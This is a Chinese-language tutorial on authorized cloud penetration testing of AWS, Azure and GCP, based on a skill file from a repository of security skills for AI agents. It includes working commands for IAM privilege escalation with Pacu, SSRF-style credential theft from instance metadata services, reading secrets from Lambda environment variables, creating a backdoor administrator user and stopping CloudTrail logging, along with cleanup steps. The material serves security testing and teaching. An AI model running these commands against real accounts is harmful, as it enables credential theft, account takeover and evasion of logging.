云端渗透测试实战指南：基于 Anthropic-Cybersecurity-Skills 的 AWS/Azure/GCP 攻防方法论

云端渗透测试实战指南基于 Anthropic-Cybersecurity-Skills 的 AWS/Azure/GCP 攻防方法论【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATTCK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI 20 platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills本指南完整解读 Anthropic-Cybersecurity-Skills 仓库中的conducting-cloud-penetration-testing技能文档SKILL.md系统讲解在 AWS、Azure、GCP 三大云平台上开展授权渗透测试的完整方法论。你将掌握基于共享责任模型Shared Responsibility Model的测试边界界定、以 Pacu / ScoutSuite / Prowler / CloudFox 为核心的云资产枚举、IAM 权限提升利用、SSRF 打穿云元数据服务窃取凭证、跨账号横向移动、持久化与检测规避测试以及最终按 MITRE ATTCK Cloud 矩阵输出可审计报告的全流程能力并可结合仓库附带的自动化枚举脚本与 API 参考快速落地实战。本技能为进攻性安全内容仅限在获得账户所有者书面授权的目标、隔离的测试账号或明确标注范围的实验环境中使用。未经授权的云渗透测试违反法律与云服务商条款仓库 README.md 亦明确要求所有技能只能用于授权测试、安全研究与防御教学。何时使用本技能适用场景与禁区从 SKILL.md 的定义看本技能适用于以下典型场景在生产环境上线部署之前对云环境执行授权的安全评估重大架构变更或迁移之后验证云安全控制是否仍然有效合规要求如年度渗透测试条款强制要求对云基础设施开展渗透测试通过模拟真实的云攻击场景检验事件响应IR就绪程度评估跨多账号或多云环境的横向移动风险。同时文档明确列出了禁止使用的场景对云账户进行未授权测试、测试云服务商自身的基础设施该部分由共享责任模型覆盖、以及在未获得云服务商明确批准的情况下进行 DDoS 模拟。前置条件授权、政策与工具链执行云端渗透测试前必须满足以下前置条件见 SKILL.md云账户所有者签署的书面授权书与范围定义文档Scope Definition Document认可 AWS、Azure 或 GCP 的渗透测试政策注意AWS 对大多数服务已不再要求测试前预先审批但各服务商政策不同需逐一核实隔离的测试账号或在明确标注范围内使用生产账号并配备 breakglass紧急逃生流程安装云专项攻击工具PacuAWS 利用框架、ScoutSuite多云审计、Prowler300 合规检查项、CloudFoxAWS/Azure 攻击路径枚举准备 MITRE ATTCK Cloud 矩阵用于发现分类。七步工作流从范围界定到 ATTCK 报告本技能的核心是如下七步工作流每一步对应一个明确的测试目标。下文将逐步展开并结合仓库附带的 scripts/agent.py 自动化脚本和 references/api-reference.md 讲解底层实现。Step 1定义测试范围与交战规则云渗透测试的第一步不是扫描而是基于共享责任模型界定测试边界。客户租户负责测试自身的配置、IAM 策略、应用安全与数据保护云服务商负责物理基础设施、Hypervisor 以及托管服务内部实现。以下是一个可直接套用的范围文档模板完整保留自原文档Cloud Penetration Test Scope Document Target: AWS Account 123456789012 (Production) Testing Window: 2025-02-24 08:00 UTC to 2025-02-28 18:00 UTC Authorization: Signed by CISO, dated 2025-02-20 IN SCOPE: - IAM users, roles, policies, and cross-account trust - EC2 instances, security groups, and network ACLs - S3 bucket policies and data access controls - Lambda functions, API Gateway endpoints - RDS/DynamoDB access controls and encryption - EKS cluster RBAC and network policies - CloudTrail, Config, and monitoring gaps OUT OF SCOPE: - AWS managed service internals (RDS engine, Lambda runtime) - DDoS attacks or volumetric testing - Physical infrastructure or hypervisor attacks - Social engineering of AWS support EMERGENCY CONTACT: security-opscompany.com, 1-555-0199范围文档必须包含目标账号与环境标识、测试时间窗口、授权签署信息、IN/OUT OF SCOPE 清单越明确越能降低纠纷风险以及紧急联系人。这一步直接决定了后续所有测试动作的合法性边界。Step 2侦察与云资产枚举使用云专项工具枚举攻击面暴露的服务、公网 IP、S3 存储桶、IAM 配置与元数据端点。以下命令集完整保留自 SKILL.md# ScoutSuite multi-cloud assessment scout suite aws --profile target-account --report-dir ./scout-report # Prowler comprehensive AWS security assessment prowler aws -M json-ocsf -o ./prowler-output --profile target-account # CloudFox for identifying privilege escalation paths cloudfox aws --profile target-account all-checks # Enumerate public S3 buckets for bucket in $(aws s3api list-buckets --query Buckets[*].Name --output text); do aws s3api get-bucket-policy-status --bucket $bucket 2/dev/null | grep -q true echo PUBLIC: $bucket done # Check for IMDS v1 (vulnerable to SSRF) aws ec2 describe-instances \ --query Reservations[*].Instances[*].[InstanceId,MetadataOptions.HttpTokens] \ --output table仓库中的自动化脚本 agent.py 将上述枚举逻辑封装为可直接调用的 Python 函数依赖requests2.28与awsCLI2.0见 api-reference.mdpython agent.py --profile target-account --output pentest_report.json从源码实现看agent.pyenumerate_iam_users()通过subprocess调用aws iam list-users --output json解析后返回每个用户的UserName、Arn、CreateDate并对成功枚举的数量记录 INFO 日志——这正好对应 MITRE ATTCK 的 T1087.004Cloud Account Discovery。# 运行脚本后生成结构化报告 python agent.py --profile target-account --output pentest_report.json报告会聚合为 JSON包含iam_users数量、cross_account_trusts、imdsv1_vulnerable_instances、public_s3_buckets、lambda_env_secrets与finding_count汇总字段见 agent.py 的generate_report()实现。Step 3IAM 权限提升测试使用 Pacu 从低权限起点识别并利用允许提权到管理员的 IAM 配置缺陷。命令集完整保留自原文档# Initialize Pacu session pacu # Set stolen or test credentials set_keys --key-alias test-creds # Run IAM enumeration modules run iam__enum_users_roles_policies_groups run iam__enum_permissions # Check for privilege escalation paths run iam__privesc_scan # Common escalation paths to test: # 1. iam:CreatePolicyVersion - Create new policy version with admin access # 2. iam:AttachUserPolicy - Attach AdministratorAccess to self # 3. iam:PassRole lambda:CreateFunction - Create Lambda with admin role # 4. iam:PassRole ec2:RunInstances - Launch EC2 with admin instance profile # 5. sts:AssumeRole - Cross-account role assumption without MFA condition文档列出了五种典型的提权路径其中iam:CreatePolicyVersion这条路径在仓库脚本中还有对应的自动化验证函数test_privesc_create_policy_version(policy_arn)agent.py。其底层原理是调用aws iam simulate-principal-policy --policy-source-arn arn --action-names iam:CreatePolicyVersion逐条解析EvaluationResults中的EvalDecision一旦出现allowed即判定存在提权可能并输出告警日志。# 核心判断逻辑摘自 agent.py for er in eval_results: if er.get(EvalDecision) allowed: logger.warning(Privesc possible: %s has iam:CreatePolicyVersion, policy_arn) return Trueiam:simulate-principal-policy是 AWS 提供的无风险权限模拟API在真正创建恶意策略版本之前即可预判权限是否允许因此该函数是整套提权测试中不可多得的静默验证手段。Step 4SSRF 到云元数据服务的利用测试 Web 应用是否存在可触达实例元数据服务IMDS位于169.254.169.254的服务端请求伪造SSRF漏洞进而窃取 IAM 角色临时凭证。三大云平台的测试命令完整保留自 SKILL.md# Test for IMDS v1 access (no token required) curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ # Test for IMDS v2 (requires token - more secure) TOKEN$(curl -X PUT http://169.254.169.254/latest/api/token \ -H X-aws-ec2-metadata-token-ttl-seconds: 21600) curl -H X-aws-ec2-metadata-token: $TOKEN \ http://169.254.169.254/latest/meta-data/iam/security-credentials/ # Azure IMDS equivalent curl -H Metadata:true \ http://169.254.169.254/metadata/identity/oauth2/token?api-version2018-02-01resourcehttps://management.azure.com/ # GCP metadata service curl -H Metadata-Flavor: Google \ http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token要点解读IMDSv1无需任何令牌即可读取元数据SSRF 一发即中IMDSv2要求先通过PUT请求换取会话令牌TTL 可设示例为 21600 秒并在后续请求中携带X-aws-ec2-metadata-token头——这是阻断 SSRF 窃取凭证的关键机制Azure要求携带Metadata:true头GCP要求携带Metadata-Flavor: Google头缺少该头会返回 HTTP 403。仓库脚本中的check_imds_v1_instances()agent.py从防御侧验证了这一环节它枚举所有 EC2 实例的MetadataOptions.HttpTokens字段将HttpTokens optional且处于running状态的实例标记为易受 SSRF 凭证窃取攻击对应 ATTCK T1552.005Unsecured Credentials: Cloud Instance Metadata API。推荐在侦察阶段先运行该函数摸清 IMDSv1 存量再针对性设计 SSRF 测试用例。Step 5横向移动与数据访问测试跨账号角色信任、VPC Peering 连接与共享资源访问绘制横向移动路径。命令集完整保留自原文档# Enumerate cross-account role trusts aws iam list-roles --query Roles[?AssumeRolePolicyDocument.Statement[?Principal.AWS!null]].[RoleName,Arn] --output table # Test cross-account assumption aws sts assume-role \ --role-arn arn:aws:iam::987654321098:role/CrossAccountRole \ --role-session-name pentest-session # Enumerate accessible S3 data with stolen credentials aws s3 ls --recursive s3://target-bucket/ --summarize # Check Lambda environment variables for secrets aws lambda list-functions --query Functions[*].[FunctionName] --output text | while read fn; do aws lambda get-function-configuration --function-name $fn \ --query Environment.Variables --output json 2/dev/null done仓库脚本对上述步骤中的两个关键动作提供了自动化实现跨账号信任识别enumerate_iam_roles()agent.py遍历所有 IAM 角色的AssumeRolePolicyDocument逐个 Statement 检查Principal.AWS中是否包含:root后缀——出现即视为存在可被其他账号假定的信任关系并将角色名、ARN 与受信账号一并返回。该函数直接对应 ATTCK T1078.004Valid Accounts: Cloud Accounts。Lambda 环境变量密钥嗅探check_lambda_env_secrets()agent.py对每个 Lambda 函数的Environment.Variables做键名模糊匹配敏感键列表包括password、secret、key、token、api_key、database_url、connection_string不区分大小写命中的函数与暴露键名会以告警日志输出并计入报告。此函数对应 ATTCK T1528Steal Application Access Token。Step 6持久化与检测规避测试本步骤的目标不是制造持久化而是验证组织的监控体系GuardDuty、Security Hub 等能否捕获典型的持久化动作新增 IAM 用户、创建访问密钥、部署 Lambda 后门、停用 CloudTrail 等。命令与验证清单完整保留自 SKILL.md# Test: Create backdoor IAM user (authorized test only) aws iam create-user --user-name pentest-backdoor aws iam create-access-key --user-name pentest-backdoor aws iam attach-user-policy --user-name pentest-backdoor \ --policy-arn arn:aws:iam::aws:policy/AdministratorAccess # Test: Disable CloudTrail (verify GuardDuty alerts) aws cloudtrail stop-logging --name management-trail # Test: Create Lambda for persistence (authorized test only) # Verify: Did GuardDuty generate Stealth:IAMUser/CloudTrailLoggingDisabled? # Verify: Did Security Hub alert on the new admin user? # CLEANUP: Remove all persistence artifacts after testing aws iam delete-access-key --user-name pentest-backdoor --access-key-id AKIAEXAMPLE aws iam detach-user-policy --user-name pentest-backdoor \ --policy-arn arn:aws:iam::aws:policy/AdministratorAccess aws iam delete-user --user-name pentest-backdoor aws cloudtrail start-logging --name management-trail清理CLEANUP是强制环节创建后门用户、停用 CloudTrail 的每一条命令都必须在测试结束后被对应的删除/恢复命令撤销。文档特别强调测试残留即真实漏洞——忘记清理的后门 IAM 用户会在测试结束后成为真正的攻击入口这是该技能最常见的执行失误之一。Step 7按 MITRE ATTCK 矩阵输出报告将所有发现映射到 MITRE ATTCK Cloud 矩阵记录严重级别、概念验证PoC、业务影响与修复建议。仓库中 mappings/mitre-attack/README.md 说明了本仓库技能与 ATTCK 框架的整体映射方法论战术 TA00xx 与子技术 T1xxx.xxx 两级而本技能在 YAML frontmatter 中显式声明了四条 ATTCK 技术映射见 SKILL.md技术ID说明Valid Accounts: Cloud AccountsT1078.004云账号的有效凭证滥用Cloud Account DiscoveryT1580云账户发现Data from Cloud Storage ObjectT1530云存储对象数据访问Cloud Service DashboardT1538云服务控制台访问此外该技能还在 attack-navigator-layer.json 中被关联到对应的 Navigator 覆盖层说明本仓库将技能覆盖可视化到 ATTCK Navigator 层便于做检测差距分析gap analysis与紫队演练编排。核心概念速查表下表完整继承自 SKILL.md是理解全文的基础术语术语定义Shared Responsibility Model云安全框架服务商保障基础设施安全客户负责数据、配置与访问控制的安全IMDS位于 169.254.169.254 的实例元数据服务提供实例身份、凭证与配置数据IMDSv2 要求基于令牌访问Privilege Escalation利用 IAM 配置缺陷从受限权限提升到云账户内的管理权限Lateral Movement利用被攻陷的凭证或信任关系访问其他账号、VPC 或云服务商中的资源Pacu开源 AWS 利用框架提供枚举、提权与持久化模块ScoutSuite多云安全审计工具收集配置数据并生成带风险发现项的 HTML 报告MITRE ATTCK Cloud面向云环境的对手战术与技术矩阵涵盖初始访问、执行、持久化与数据渗出等阶段工具链一览本技能依赖的工具及定位完整保留自 SKILL.mdPacuAWS 专项利用框架提供 IAM 枚举、权限提升与持久化测试模块ScoutSuite多云AWS、Azure、GCP安全审计工具基于 API 数据采集生成综合风险报告CloudFoxAWS 与 Azure 枚举工具用于识别攻击路径、提权向量与数据访问机会Prowler开源云安全评估工具在 AWS、Azure、GCP 上提供 300 项检查Cartography基于 Neo4j 的工具将云资源间关系图谱化用于可视化攻击路径分析。仓库内另一个技能 performing-cloud-asset-inventory-with-cartography 可进一步深入 Cartography 的图谱化使用与本文的横向移动分析形成互补。实战场景SSRF 导致云账户完全沦陷SKILL.md 给出了一个完整的端到端攻击链场景将 Step 3、4、5 串联为一条可复现的利用路径背景渗透测试人员在运行 IMDSv1 的 EC2 实例托管的 Web 应用中发现 SSRF 漏洞该实例挂载的 IAM 角色拥有广泛的 S3 与 Lambda 权限。利用步骤利用 SSRF 访问http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name提取临时 IAM 凭证AccessKeyId、SecretAccessKey、SessionToken使用凭证枚举可访问的 S3 存储桶并下载敏感数据检查该角色是否具备iam:PassRole lambda:CreateFunction权限进一步提权到管理员完整记录从 SSRF 到账户级沦陷的整条攻击链修复建议强制启用 IMDSv2、收缩 IAM 角色权限范围、在应用层添加 VPC 终端节点策略阻断对 IMDS 的访问。常见陷阱只测试 IMDSv1 而不单独验证 IMDSv2 的强制启用状态会导致测试结果不完整测试结束后未清理测试产物后门用户、Lambda 函数会在交战结束后留下真实漏洞。上述陷阱在本仓库的自动化脚本中也有对应的防御侧检查check_imds_v1_instances专门甄别HttpTokens: optional的运行中实例测试时务必攻击、验证、清理三动作闭环。报告输出模板最终交付物应使用以下标准模板完整保留自 SKILL.mdCloud Penetration Test Report Target: AWS Account 123456789012 (Production) Testing Period: 2025-02-24 to 2025-02-28 Methodology: MITRE ATTCK Cloud OWASP Cloud Testing Guide Tester: Security Team - Authorized Engagement EXECUTIVE SUMMARY: Starting with read-only developer credentials, the assessment achieved full administrative access to the production account within 3 hours through an IAM privilege escalation chain. 47 findings identified across 7 ATTCK tactics. CRITICAL FINDINGS: [PT-001] IAM Privilege Escalation via iam:CreatePolicyVersion ATTCK: T1098.001 (Account Manipulation: Additional Cloud Credentials) Severity: CRITICAL Starting Point: Developer role with iam:CreatePolicyVersion permission Impact: Full administrative access to all account resources Evidence: Created policy version granting iam:* and s3:* to test role Remediation: Remove iam:CreatePolicyVersion from developer roles, add permission boundary [PT-002] SSRF to IMDS Credential Theft ATTCK: T1552.005 (Unsecured Credentials: Cloud Instance Metadata API) Severity: CRITICAL Starting Point: Web application URL parameter vulnerable to SSRF Impact: Extracted IAM role credentials with S3 and Lambda access Remediation: Enforce IMDSv2, apply WAF rules for SSRF, restrict IAM role scope FINDING SUMMARY BY MITRE ATTCK TACTIC: Initial Access: 4 findings Execution: 3 findings Persistence: 6 findings Privilege Escalation: 8 findings (3 Critical) Defense Evasion: 5 findings Credential Access: 7 findings Discovery: 14 findings Total: 47 findings模板的写作要点Executive Summary用一两句话讲清起点、耗时与最终影响如从只读开发者凭证 3 小时内获得生产账号完全管理权限每条 CRITICAL FINDING必须包含 ATTCK 编号、严重级别、起点权限、业务影响、证据与修复建议六个字段按 ATTCK 战术分类统计用于向管理层直观呈现覆盖广度。仓库脚本的generate_report()可以自动产出机器可读的 JSON 摘要时间戳、各类发现计数与总数可作为人工撰写报告前的数据底稿。结语云端渗透测试与传统的本地网络渗透测试有着本质差异测试对象从主机变为API 与配置攻击面高度动态授权边界由共享责任模型划定而 MITRE ATTCK Cloud 矩阵提供了统一的发现分类语言。本文基于 SKILL.md 的七步方法论配合 agent.py 的自动化枚举与 api-reference.md 的接口清单形成了一套文档方法论 脚本自动化 报告模板的完整闭环。建议读者在隔离的测试账号中逐步骤演练始终牢记两条红线未授权不测试测试必清理。【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATTCK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI 20 platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills创作声明：本文部分内容由AI辅助生成（AIGC），仅供参考